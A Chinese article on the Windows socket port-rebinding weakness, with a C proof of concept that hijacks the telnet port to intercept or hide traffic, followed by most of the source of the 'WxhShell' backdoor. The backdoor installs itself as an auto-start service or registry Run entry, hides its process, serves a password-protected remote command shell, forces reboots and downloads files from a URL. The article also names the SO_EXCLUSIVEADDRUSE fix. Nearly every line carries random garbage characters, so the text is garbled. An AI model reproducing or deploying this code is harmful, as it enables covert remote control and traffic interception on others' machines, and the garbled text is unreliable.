在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
3*-!0 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
)lP(isFP Z<'iT%6+r saddr.sin_family = AF_INET;
7Ac.^rv5 60l!3o"p! saddr.sin_addr.s_addr = htonl(INADDR_ANY);
MHS|gR.c dRUmC H bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
;A0ZcgF ={50>WXE 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
P>R u [d=BN ,? 这意味着什么?意味着可以进行如下的攻击:
|}@teN^J*U bVr`a*EM 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
VH] <o0 O6ltGtF 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
+pe\9F Gn;^]8d 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
J)sOne 79B+8= K 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
C|]Zpn#{K lDVgW}o@ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
^G
"Qp8 " 4@0Z<8Mo 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
CIz_v.&: &UAYYH 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
HcpAp]L) $5@[l5cJU; #include
]ClqX;'weJ #include
$|VdGRZ1 #include
qR
kPl!5 #include
D4*_/,} DWORD WINAPI ClientThread(LPVOID lpParam);
8v6AfTo% int main()
pv^: G; {
RY\0dv> WORD wVersionRequested;
=FQH5iSd DWORD ret;
L }R-| WSADATA wsaData;
.f|)od[ BOOL val;
QiaBZAol SOCKADDR_IN saddr;
ktM7L{Nz SOCKADDR_IN scaddr;
tUGF8?&
G int err;
J\Tu=f) SOCKET s;
vnqLcNB H SOCKET sc;
.-1'#Z1T int caddsize;
4}0Ry\
6 HANDLE mt;
eTI?Mu>C DWORD tid;
Ac\e>N wVersionRequested = MAKEWORD( 2, 2 );
lInf,Q7W err = WSAStartup( wVersionRequested, &wsaData );
i0~Af`v if ( err != 0 ) {
oVd7ucnK printf("error!WSAStartup failed!\n");
iKv"200h( return -1;
azG"Mt|7Z }
b]*OGp4]5 saddr.sin_family = AF_INET;
'@1C$0tx sVe<l mL //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
34L1Gxf
.]N`]3$= saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
"om[S :ai saddr.sin_port = htons(23);
3~Ll<8fv if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
I(b]V!mj: {
O"wo&5b_ printf("error!socket failed!\n");
0XI6gPo% return -1;
M3eFG@, }
v=DC3oh- val = TRUE;
Ged} qXn //SO_REUSEADDR选项就是可以实现端口重绑定的
"oh;?gQ. if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
)!FheoR {
y s[ z[ printf("error!setsockopt failed!\n");
znAo]F9=J" return -1;
SQ<{X/5 }
B[d%?L_ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
3 ;AJp_; //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
I~nz~U:ak //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Lzx2An@R
spWo{ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
BW ux! {
9xeg,#1 ret=GetLastError();
BN6cu9a printf("error!bind failed!\n");
HE0m# return -1;
I/u>Gt }
B?4Iu)bCxI listen(s,2);
5>hXqNjP2 while(1)
@QE&D+NS {
VFKFO9 caddsize = sizeof(scaddr);
D58RHgY[ //接受连接请求
6_K7!?YG7 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
AB<%GzW0( if(sc!=INVALID_SOCKET)
NHe[,nIV {
U#{(*)qr mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
WwUHHm<v if(mt==NULL)
u1>WG?/` {
b&'YW*W printf("Thread Creat Failed!\n");
#q5tG\gnM break;
ndw&F'.r }
>u]9(o7I }
((M>To_l CloseHandle(mt);
fh`}~ aQ }
z
G`|) closesocket(s);
h)s&Nqg1B WSACleanup();
w%(D4ldp return 0;
k7]4TIUD* }
7/iN`3Bz DWORD WINAPI ClientThread(LPVOID lpParam)
Yy,XKIqU {
Bq,MTzxD SOCKET ss = (SOCKET)lpParam;
"*:?m{w5 SOCKET sc;
.vd*~U" unsigned char buf[4096];
%AA-G SOCKADDR_IN saddr;
5Ha(i [d long num;
V7D<'! DWORD val;
*;Za)) DWORD ret;
uUe#+[bD //如果是隐藏端口应用的话,可以在此处加一些判断
Ao@WTs9 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
<4CqG4}Y saddr.sin_family = AF_INET;
l< H nP R/ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
/v.<h*hxWy saddr.sin_port = htons(23);
GGUwS if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
+jO#?J {
bGK-?BE5+A printf("error!socket failed!\n");
^ Z3y return -1;
&PX!'%X68h }
. HAFKB; val = 100;
g"`jWSt7Q if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
3N4kW[J2i {
[WXcp1p
ret = GetLastError();
<RcB: h return -1;
-h=wLYl@0i }
'@5x=> if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
5?|y%YH;R\ {
%vUUx+ ret = GetLastError();
8"rK return -1;
-![{Zb@ }
5acC4v!T if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
#TcX5 {
yZb})4. printf("error!socket connect failed!\n");
r]Lj@0F>8 closesocket(sc);
Oq(FV[N7t closesocket(ss);
cQ3p|a ` return -1;
B_C."{G }
0^6}s1d_ while(1)
y,`q6(& {
ygd*zy9 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
O9RnS\ //如果是嗅探内容的话,可以再此处进行内容分析和记录
ry+|gCZ
//如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
_>^Y0C[?5 num = recv(ss,buf,4096,0);
BM5)SgK if(num>0)
~+PK Ws'}F send(sc,buf,num,0);
lB7/oa1]> else if(num==0)
iz+,,UH break;
}4Q3S1|U num = recv(sc,buf,4096,0);
X @/X65=[ if(num>0)
,V)hV@Dk send(ss,buf,num,0);
w9Nk8OsL else if(num==0)
&SPIu, break;
M
#%V%< }
pV1;gqXNS closesocket(ss);
0*j\i@ closesocket(sc);
3f:]*U+O return 0 ;
'1d0
*5+6k }
Hi U/fi` #v4^,$k> fT<3~Z>m ==========================================================
{;o54zuKf [hqat'Vj, 下边附上一个代码,,WXhSHELL
~/Y8wxg '1zC|:, ==========================================================
}:*?w>= Xd.y or #include "stdafx.h"
ssmJ?sl qj^A #include <stdio.h>
cca]@Ox] #include <string.h>
;a[3RqmKW #include <windows.h>
mA#^Pv* #include <winsock2.h>
jU } #include <winsvc.h>
(1'sBm7F #include <urlmon.h>
r^Soqom3 @@}muW>;T #pragma comment (lib, "Ws2_32.lib")
K
k^!P*# #pragma comment (lib, "urlmon.lib")
G#='*vOtO 6!){-IV #define MAX_USER 100 // 最大客户端连接数
J+`gr_& #define BUF_SOCK 200 // sock buffer
m-qOyt #define KEY_BUFF 255 // 输入 buffer
CljEC1S# ^plP1c: #define REBOOT 0 // 重启
$GVf;M2* #define SHUTDOWN 1 // 关机
@;[. #hK
\P*%u #define DEF_PORT 5000 // 监听端口
WK.,q># nVGOhYn #define REG_LEN 16 // 注册表键长度
\_+Af` #define SVC_LEN 80 // NT服务名长度
7j"B-k# fUJe{C<H // 从dll定义API
5!6}g<z&L typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
f%REN3=5K typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
_HAr0R8BY typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
ke'OT>8 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
}-vP~I ^SS9BQ*m // wxhshell配置信息
$:?=A5ttuo struct WSCFG {
%F<3_#Y int ws_port; // 监听端口
t'C9; char ws_passstr[REG_LEN]; // 口令
!DKl:8mx4 int ws_autoins; // 安装标记, 1=yes 0=no
Y1BxRd?D char ws_regname[REG_LEN]; // 注册表键名
fi6_yFl char ws_svcname[REG_LEN]; // 服务名
z7a@'+' char ws_svcdisp[SVC_LEN]; // 服务显示名
w_Z*X5u char ws_svcdesc[SVC_LEN]; // 服务描述信息
" j:15m5 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
_$v$v$74^ int ws_downexe; // 下载执行标记, 1=yes 0=no
^AO2%09.S char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
@!(V0 - char ws_filenam[SVC_LEN]; // 下载后保存的文件名
l_(4CimOZ ],wzZhA };
O^R^Aw 8)J,jh9q // default Wxhshell configuration
"||G`%aO+t struct WSCFG wscfg={DEF_PORT,
Z3iX^ "xuhuanlingzhe",
;;LiZlf 1,
aQ)g7C "Wxhshell",
^Ux*"\/Es "Wxhshell",
A^F0}MYT "WxhShell Service",
+jp^ "Wrsky Windows CmdShell Service",
ur
k@v "Please Input Your Password: ",
Ki3wqY 1,
92*Y( > "
http://www.wrsky.com/wxhshell.exe",
r\|"j8 "Wxhshell.exe"
XP65 };
";59,\6
u?8e>a // 消息定义模块
puGy`9eKv1 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
G""=`@ char *msg_ws_prompt="\n\r? for help\n\r#>";
iEMIzaR char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
'RCX6TKBnR char *msg_ws_ext="\n\rExit.";
3[To"You char *msg_ws_end="\n\rQuit.";
KYFkO~N char *msg_ws_boot="\n\rReboot...";
zrur-i$N+ char *msg_ws_poff="\n\rShutdown...";
n\YWWW[wf char *msg_ws_down="\n\rSave to ";
d.NB@[?* _\FA}d@N char *msg_ws_err="\n\rErr!";
y;HJ"5.Mw char *msg_ws_ok="\n\rOK!";
4$v08zZ `Y7&}/OM char ExeFile[MAX_PATH];
+]{PEnJ int nUser = 0;
Rs 0Gqx HANDLE handles[MAX_USER];
.eDI ZX int OsIsNt;
&E!-~'|z B 6,X) SERVICE_STATUS serviceStatus;
Q__1QUu SERVICE_STATUS_HANDLE hServiceStatusHandle;
i)d'l<RA i(<do "Am< // 函数声明
8f#&CC!L int Install(void);
6z+*H7Qz int Uninstall(void);
No)@#^ int DownloadFile(char *sURL, SOCKET wsh);
f@IL2DL}\ int Boot(int flag);
GSg/I.)S void HideProc(void);
N~M-|^L int GetOsVer(void);
VW9BQs2w int Wxhshell(SOCKET wsl);
#'kVW{ void TalkWithClient(void *cs);
Xdc>Z\0V int CmdShell(SOCKET sock);
<' b% int StartFromService(void);
HoKN<w int StartWxhshell(LPSTR lpCmdLine);
+JL"Z4b@R} wmgKh)`@_{ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
0CUUgwA/ VOID WINAPI NTServiceHandler( DWORD fdwControl );
lD)QB!*v Q,xKi|$r // 数据结构和表定义
ehls:)F SERVICE_TABLE_ENTRY DispatchTable[] =
)Y,>cg:z~ {
^2um.`8 {wscfg.ws_svcname, NTServiceMain},
`LCxxpHi| {NULL, NULL}
_6Fj&mw(u };
}U7><I 8I=migaxP // 自我安装
|;P9S int Install(void)
?QCHkhU {
Y<-dd"\ char svExeFile[MAX_PATH];
0@8EIQxK" HKEY key;
||k^pzj% strcpy(svExeFile,ExeFile);
]#x?[F B(dq$+4 // 如果是win9x系统,修改注册表设为自启动
*Z"(K\1TH if(!OsIsNt) {
|Xl,~-. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
4*9: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
1PJ8O|Zt8 RegCloseKey(key);
d/:zO4v3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Wtwh.\Jba RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
|7l* RegCloseKey(key);
rF5O?<( return 0;
nXqZkZE\ }
Y$?<y }
slMWk;fmD} }
`ynD-_fTN else {
Y:XxTa* `l95I7 // 如果是NT以上系统,安装为系统服务
A?*_14& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
.pQ4#AJ if (schSCManager!=0)
&llp*<
i7 {
9rsty{J8 SC_HANDLE schService = CreateService
Af>Ho"i (
`$D2w| schSCManager,
X6]eQ PN2 wscfg.ws_svcname,
gyW##M@{ wscfg.ws_svcdisp,
n/5)}( }K SERVICE_ALL_ACCESS,
HLcK d`$/ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
ZKa.MBde SERVICE_AUTO_START,
Q2[D|{Z SERVICE_ERROR_NORMAL,
!&D&Gs svExeFile,
wA<#E6^vG NULL,
niV= Ijt{5 NULL,
fu 95-)M NULL,
0@ 9em~ NULL,
64OgE! NULL
Vee`q. );
D=nuK25 if (schService!=0)
'WG%O7s. {
[/ E_v gZ CloseServiceHandle(schService);
wDV%.Cc CloseServiceHandle(schSCManager);
2*K _RMr~ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
7.PG*q strcat(svExeFile,wscfg.ws_svcname);
wZm=h8d if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
ggUJ -M'2h RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
yA+:\%y$ RegCloseKey(key);
0g@
8x_3 return 0;
c91rc> }
5M2G ;o }
K?q1I<94 CloseServiceHandle(schSCManager);
S5Q$dAL }
{uRnZ/m }
Py[Z9KLX Y&k6Xhuao return 1;
\$Nx`daFi }
iS^IqS /CAi%UH,F // 自我卸载
S&@uY#_(*T int Uninstall(void)
xhIC["z5 {
KN;b+`x;M HKEY key;
hYW<4{Gjr DM%4V|F" if(!OsIsNt) {
PZRm.vC)k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
%<q l RegDeleteValue(key,wscfg.ws_regname);
gekW&tRie RegCloseKey(key);
b"y][5VE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
=M'y& iz- RegDeleteValue(key,wscfg.ws_regname);
$!<J_d* RegCloseKey(key);
4#Fz!Km return 0;
}F1|&
A }
\*s'S*~ }
V11Zl{uOl }
{<a(1#{ else {
H1'`*
}V (ROurq" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
n;0bVVMV if (schSCManager!=0)
sV/#P<9 {
mB.kV Ve0 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
c_]$UM[7L if (schService!=0)
QUp()B1 {
2bS)|#v<_t if(DeleteService(schService)!=0) {
8]Xwj].^C CloseServiceHandle(schService);
fMn7E8. CloseServiceHandle(schSCManager);
L\8tqy. return 0;
h:3`e`J<h }
QW.VAF\6* CloseServiceHandle(schService);
k, )7v }
ANy=f-V CloseServiceHandle(schSCManager);
AfG!(AF` }
Y%b
5{1 }
?]081l7cd CE>RAerY return 1;
sT9P }
#_}lF<k )FM/^ // 从指定url下载文件
l|`%FB^ k int DownloadFile(char *sURL, SOCKET wsh)
N0GID-W!/~ {
2P8JLT*Tj HRESULT hr;
Dcq\1V.e`W char seps[]= "/";
BW}^ n char *token;
`wI<LTzXS char *file;
+d6/*}ht char myURL[MAX_PATH];
!ec\8Tj char myFILE[MAX_PATH];
jYet!l &%`IPhbT strcpy(myURL,sURL);
6>)]7(B<d token=strtok(myURL,seps);
YBN.
waL while(token!=NULL)
pO$`(+q[ {
. \*Z: file=token;
kDJ5x8Q# token=strtok(NULL,seps);
t$8f:*6(* }
_cx}e!BK# 12aAO|]/~ GetCurrentDirectory(MAX_PATH,myFILE);
>~I~!i3 strcat(myFILE, "\\");
4^VY strcat(myFILE, file);
F8?&Ql/hdz send(wsh,myFILE,strlen(myFILE),0);
gEtDqq~y@ send(wsh,"...",3,0);
"xlf6pm% hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
uAR!JJ if(hr==S_OK)
FfN==2:b return 0;
HH3WZ^0> else
!}^c.<38Q return 1;
B&#TbKp SC`.VCfc. }
0 ]U
;5 &"fMiK3 // 系统电源模块
b#R3=TQS8 int Boot(int flag)
A5tY4?| {
n8Jx;j HANDLE hToken;
bp:WN TOKEN_PRIVILEGES tkp;
j|9;")
1 "?V4Tl~uu if(OsIsNt) {
V^=z\wBZ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
D Y($ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
,)XT;iGQe tkp.PrivilegeCount = 1;
JQ'NFl9< tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
dfGdY"& AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
ZPn`.Qc if(flag==REBOOT) {
]v@#3,BV if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
x&tad+T return 0;
ZrnZ7,!@ }
X^#48*"a else {
bV&/)eqv if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
%xf6U>T return 0;
Ooz+V;#Q }
QP)-O*+AA }
',`iQt!Lx else {
Ot(U_rJCi if(flag==REBOOT) {
BV$lMLD{r if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
!zwnFdp return 0;
p-UACMN&c }
07Yh else {
|]HU$GtS if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
|:`f#H return 0;
BKIAc6 }
"{&\ nt }
eHi|_3A&* mKtZ@r)u return 1;
(tP>z+ }
.GM&]Hb EYd`qk3 // win9x进程隐藏模块
BS>|M}G)r void HideProc(void)
bgqN&J)Jr) {
QS,IM>Nr }]N7CWy
HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
7qV_QZ!. if ( hKernel != NULL )
bqN({p& {
xIf,1g@Cq9 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
W *0XV ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
j./3 ) FreeLibrary(hKernel);
$[}31=0 }
X{o.mN Am%zEt$c return;
~d^+yR- }
Zaf] .R >5#`j+8=q // 获取操作系统版本
Il%LI int GetOsVer(void)
NwoBM6 # {
++F #Z(p OSVERSIONINFO winfo;
7m{ 'V`F winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
gfw,S; GetVersionEx(&winfo);
dY68wW>d| if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
"3LOL/7f return 1;
Xz4!#,z/ else
v2G_p|+O return 0;
Pon 2!$ }
IrjKI.PR bv5,Yk // 客户端句柄模块
;&37mO/T int Wxhshell(SOCKET wsl)
'ADt<m_$ {
"'p:M,: SOCKET wsh;
\/la`D struct sockaddr_in client;
` QXO+'j4 DWORD myID;
t8\F7F P )\l}i%L: while(nUser<MAX_USER)
gpVZZ:~ {
Yvs)H'n= int nSize=sizeof(client);
*oL?R2#7 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
f}0(qN/G if(wsh==INVALID_SOCKET) return 1;
d3_aFsQ v#@"Evh7 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
T|Sz~nO}f if(handles[nUser]==0)
Uc>kCBCd closesocket(wsh);
,>V|%tD' else
++-HdSHY nUser++;
nZ>qM]">u }
8]]uk=P WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
"n,"> xmb]L:4F return 0;
%N7b
XKDP }
c^><^LGb ?<]BLkx // 关闭 socket
|sMRIW,P void CloseIt(SOCKET wsh)
SGre[+m~m {
U8-#W(tRR closesocket(wsh);
/jaTH_Q),: nUser--;
)~v`dwKj; ExitThread(0);
;"-(QE?Mv }
.C$S
DhJ~ wUW^
O // 客户端请求句柄
rS\j9@=Y4 void TalkWithClient(void *cs)
"6 |j
0?Q {
d
}=fJ *%7 [{Loz SOCKET wsh=(SOCKET)cs;
gPh; char pwd[SVC_LEN];
"}!|V)K char cmd[KEY_BUFF];
ci0)kxUBF char chr[1];
>N62t9Ll[ int i,j;
ST5L
O#5 Q&@Ls?pu while (nUser < MAX_USER) {
e)
42SL^s f5"1WtB if(wscfg.ws_passstr) {
rCGXHbj% if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
7"@^JxYN //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
C$(US8:{ //ZeroMemory(pwd,KEY_BUFF);
Q[ kbEhv; i=0;
X0Y1I}gD while(i<SVC_LEN) {
,Md8A`7x~ $wg5q\Rv // 设置超时
N4I`6uDgD fd_set FdRead;
d00#;R struct timeval TimeOut;
uf]SPG#/D FD_ZERO(&FdRead);
<k!M+}a 9V FD_SET(wsh,&FdRead);
#<s6L"Z- TimeOut.tv_sec=8;
2-728 TimeOut.tv_usec=0;
ukpbx;O:hc int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
[Ul"I-K if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
HC(Vu C-E~z{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
)'+" y~ pwd
=chr[0]; 83K)j"!<X
if(chr[0]==0xd || chr[0]==0xa) { [Gop-Vi/~
pwd=0; 0uV3J
break; ^ gMoW
} #%O|P&rA
i++; ADK)p?
} 7/+I"~
r+n0M';0
// 如果是非法用户,关闭 socket <*EMcZ
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?!^ow5"8
} @W6:JO
WfpQ
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fb-Lp#!T39
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q;Tdqv!Ju
|eykb?j`
while(1) { uzg(C#sp
WJWi'|C4
ZeroMemory(cmd,KEY_BUFF); k-IL%+U
p[R4!if2
// 自动支持客户端 telnet标准 Q,R>dkS
j=0; (VDY]Q)
while(j<KEY_BUFF) { SW5V:|/
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2 j.6
cmd[j]=chr[0]; :No`+X[Kq
if(chr[0]==0xa || chr[0]==0xd) { %jk7JDvl
cmd[j]=0; ~hD!{([
break; n2}(Pt.
} >*s_)IH2
j++; EP,j+^RVf
} B-^r0/y;
kvcDa+#
// 下载文件 Em)U`"j/9
if(strstr(cmd,"http://")) { S&/,+x'c|
send(wsh,msg_ws_down,strlen(msg_ws_down),0); _PT5
if(DownloadFile(cmd,wsh)) oCfO:7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); GT.1,E,Vw
else 6&|hpp#[
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y`F) UwKK
} $B%wK`J
else { }Q$}LR@
J^<Gi/:*^
switch(cmd[0]) { Drm#z05i[g
RO+ jVY~H-
// 帮助 Ov8^6O
case '?': {
P.bxq50
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); JLd-{}A""-
break; Gyx4}pV
} /tm2b<G
// 安装 n(I,pF
case 'i': { "DaE(S&
if(Install()) "&Hr)yyWG
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1lo.X_
else Q$+6f,m#W
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u7&q(Z&&O
break; +YZ*>ki
} RW~!)^
// 卸载 yY[9\!
case 'r': { q QcQnd2K
if(Uninstall()) mR["xDHD
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^'9.VVyz
else 4)"S/u
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dG&^M".(
break; >{6U1ft):
} UQZl:DYa
// 显示 wxhshell 所在路径 nuKcq!L
case 'p': { "@z X{^:
char svExeFile[MAX_PATH]; Emy=q5ryl
strcpy(svExeFile,"\n\r"); b?{MXJ|
strcat(svExeFile,ExeFile); |L/EH~| O
send(wsh,svExeFile,strlen(svExeFile),0); =6Fpixq>
break; "QD>m7
} E5aRTDLq
// 重启 K;z$~;F
case 'b': { _(zZrUHB
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YMN=1Zuj?
if(Boot(REBOOT)) SzP`(}AU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); NSawD.9mV
else { pfBe24q
closesocket(wsh); rjffpU
ExitThread(0); nw4I<Q
} <%o9*)F
break; 3daI_Nx>
} acrR
// 关机 Gv[s86AP,
case 'd': { e Fh7#~m
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6Hbu7r*tm
if(Boot(SHUTDOWN)) g,9&@g/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3
,zW6 -}
else { M>E~eb/
closesocket(wsh); qk~m\U8r
ExitThread(0); X=+|(A,BdY
} w73?E#8
break; nU4to
} 6ao~f?JZ
// 获取shell Q,K$)bM
case 's': { }?\^^v h7
CmdShell(wsh); #M%K82"
closesocket(wsh); NbC2N)L4
ExitThread(0); H;R~d%!b
break; ^Q6?T(%$
} 3eg6 CdT
// 退出 Lqdapx"Z_
case 'x': { N4#D&5I",
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a^={X<K|/
CloseIt(wsh); lA%FS]vh
break; lEgjv,
} k".kbwcaF
// 离开 @@j:z;^|
case 'q': { 'W,*mfB
send(wsh,msg_ws_end,strlen(msg_ws_end),0); a:8 MoH 4
closesocket(wsh); cZJ5L>ox
WSACleanup(); =A!rZG
exit(1); ]#Cc7wa
break; ),CKuq>
} [YP{%1*RM
} 3&>0'h
} oYdE s&qq
G^N@r:RS
// 提示信息 hxzA1s%~
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,PmUl=
} GeDI\-
} ; PncJe5x
x3g4 r_
return; p^|6 /b
} IMr#5
LPBa!fq
// shell模块句柄 7O'.KoMw
int CmdShell(SOCKET sock) aZ$5"
{ 5D.Sg;\
STARTUPINFO si; }tw+8YWkz
ZeroMemory(&si,sizeof(si)); 7*j!ZUzp
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WQ 2{`'z
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >s 6ye
PROCESS_INFORMATION ProcessInfo; =6qTz3t
char cmdline[]="cmd"; 76"4Q!
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); iMt3h8
return 0; [zBi*%5O
} 3:MJKS02OD
E_En"r)y
// 自身启动模式 ff5 gE'
int StartFromService(void) nj0sh"~+
{ 9Q^cE\j
typedef struct PcEE`.
{ Db<#gH
DWORD ExitStatus; [nZIV
DWORD PebBaseAddress; (w#t V*
DWORD AffinityMask; /W)A[jR
